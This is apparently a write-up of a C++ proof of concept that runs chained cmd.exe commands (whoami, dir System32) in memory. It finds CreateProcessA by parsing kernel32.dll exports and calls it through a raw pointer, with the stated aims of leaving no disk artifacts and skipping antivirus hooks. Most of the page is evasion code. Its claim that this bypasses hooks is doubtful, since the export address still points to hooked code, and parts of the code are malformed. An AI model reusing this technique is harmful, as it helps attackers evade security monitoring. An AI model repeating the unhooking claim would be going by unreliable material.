SpawnCMDExecuteBatchInMemory [source]

Overview

This advanced C++ POC demonstrates entirely in-memory batch command execution on Windows. It leverages remote parsing of kernel32.dll exports, retrieves the address of CreateProcessA, and spawns cmd.exe with a command string built in memory, eliminating any disk artifacts.

Detailed Breakdown & In-Depth Snippets

1. Remote API Resolution

GetFunctionAddressInModule reads kernel32.dll from the target process to find CreateProcessA:

uintptr_t GetFunctionAddressInModule(
  HANDLE hProcess,
  const char* moduleName,
  const char* functionName
) {
  // 1. Enumerate all loaded modules
  HMODULE hMods[1024]; DWORD cb;
  EnumProcessModules(hProcess, hMods, sizeof(hMods), &cb);

  for (unsigned int i = 0; i < cb / sizeof(HMODULE); i++) {
    // 2. Match module by name
    char name[MAX_PATH];
    GetModuleBaseNameA(hProcess, hMods[i], name, sizeof(name));
    if (_stricmp(name, moduleName) != 0) continue;

    // 3. Read full module image into our buffer
    MODULEINFO mi; GetModuleInformation(hProcess, hMods[i], &mi, sizeof(mi));
    BYTE* buf = new BYTE[mi.SizeOfImage];
    ReadProcessMemory(hProcess, mi.lpBaseOfDll, buf, mi.SizeOfImage, nullptr);

    // 4. Parse headers to locate export directory
    auto dosH = (PIMAGE_DOS_HEADER)buf;
    auto ntH = (PIMAGE_NT_HEADERS)(buf + dosH->e_lfanew);
    auto expDir = (PIMAGE_EXPORT_DIRECTORY)(
      buf + ntH->OptionalHeader.DataDirectory[
        IMAGE_DIRECTORY_ENTRY_EXPORT
      ].VirtualAddress
    );

    // 5. Iterate export names and ordinals
    auto names    = (DWORD*)(buf + expDir->AddressOfNames);
    auto funcs    = (DWORD*)(buf + expDir->AddressOfFunctions);
    auto ordinals = (WORD*)(buf + expDir->AddressOfNameOrdinals);

    for (DWORD j = 0; j < expDir->NumberOfNames; j++) {
      const char* fn = (char*)(buf + names[j]);
      if (_stricmp(fn, functionName) == 0) {
        // 6. Compute absolute address = base + RVA
        DWORD rva = funcs[ordinals[j]];
        uintptr_t addr = (uintptr_t)mi.lpBaseOfDll + rva;
        delete[] buf;
        return addr;
      }
    }

    delete[] buf; break;
  }

  return 0; // not found
}

Explanation: We first enumerate modules to find kernel32.dll in the target. We then read its entire image into a local buffer to safely parse its PE headers, locate the Export Directory, and match the function name to retrieve its RVA. Finally, we compute the in-memory function address by adding the module base.

2. Building the In-Memory Batch Command Line

Rather than writing a file, we chain commands using & and pass them directly to cmd.exe /C:

std::vector<const char*> cmds = {
  "echo Hello from memory",
  "whoami",
  "dir C:\\Windows\\System32"
};

// Join with ' & ' to execute sequentially
std::string cmdLine = "cmd.exe /C \"";
for (size_t i=0; i<cmds.size(); ++i) {
  cmdLine += cmds[i];
  if (i+1 < cmds.size()) cmdLine += " & ";
}
cmdLine += "\"";

Explanation: We store each batch instruction in a vector, then build a single command string. Using & ensures each command runs in sequence within the same shell session.

3. Unhooked Process Creation

using CreateProc_t = BOOL (WINAPI*)(
  LPCSTR, LPSTR,
  LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,
  BOOL, DWORD, LPVOID, LPCSTR,
  LPSTARTUPINFOA, LPPROCESS_INFORMATION
);
auto unhookedCreate = (CreateProc_t)CreateProcessA_addr;

STARTUPINFOA si{}; si.cb = sizeof(si);
PROCESS_INFORMATION pi{};

// Directly call the resolved API pointer
unhookedCreate(
  nullptr,                     // Use command line only
  (LPSTR)cmdLine.c_str(),      // In-memory cmd line
  nullptr, nullptr,            // Default security
  FALSE,                       // No handle inheritance
  CREATE_NEW_CONSOLE,          // New window
  nullptr, nullptr,            // Inherit env & dir
  &si, &pi                     // Startup & process info
);

Explanation: We cast the raw address to the proper CreateProcessA signature and invoke it. Because we bypass the import table, hooked user-mode calls (e.g., by AV) are skipped.

Full Key Snippet

// 1. Resolve unhooked CreateProcessA
uintptr_t CreateProcessA_addr = GetFunctionAddressInModule(hProcess,
  "kernel32.dll", "CreateProcessA"
);

// 2. Build in-memory batch command
std::vector<const char*> cmds = {"echo in-memory","whoami","dir C:\\Windows\\System32"};
std::string cmdLine = "cmd.exe /C \"";
for(size_t i=0;i<cmds.size();++i){ cmdLine += cmds[i]; if(i+1<cmds.size()) cmdLine += " & "; }
cmdLine += "\"";

// 3. Invoke CreateProcessA unhooked
using CP_t = BOOL(WINAPI*)(...);
auto unhookedCreate = (CP_t)CreateProcessA_addr;
STARTUPINFOA si{}; si.cb = sizeof(si);
PROCESS_INFORMATION pi{};
unhookedCreate(nullptr, (LPSTR)cmdLine.c_str(), nullptr, nullptr,
               FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi);